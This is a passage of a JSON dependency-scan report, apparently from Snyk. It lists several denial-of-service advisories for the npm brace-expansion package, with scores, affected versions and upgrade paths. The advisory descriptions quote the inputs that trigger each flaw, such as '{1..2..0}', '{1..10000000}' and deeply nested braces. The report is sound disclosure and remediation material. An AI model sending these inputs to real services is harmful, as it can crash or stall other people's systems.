"CVE": [ "CVE-2026-102276" ], "CWE": [ "CWE-674" ], "GHSA": [ "GHSA-6j4f-fj2g-mc7p" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-09-29T07:36:51.075985Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-09-28T23:27:21Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-09-29T07:36:51.235635Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-29T19:40:12.310972Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918000Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.47050", "probability": "0.00613", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918000Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T02:01:42.918521Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.26429", "probability": "0.00355", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T02:01:42.918521Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-16T14:02:43.227595Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.49122", "probability": "0.00643", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-16T14:02:43.227595Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-09-25T21:42:52.694864Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.48810", "probability": "0.00647", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-09-25T21:42:52.694864Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.12" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-20244948", "title": "Uncontrolled Recursion", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Gareth Jones", "Jeremy Katz" ], "semver": { "vulnerable": [ "<1.1.20", ">=2.0.0 <2.1.6", ">=3.0.0 <3.0.8", ">=4.0.0 <5.0.11" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.20", "2.1.6", "3.0.8", "5.0.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:37.555149Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-10-09T05:49:36.917866Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub 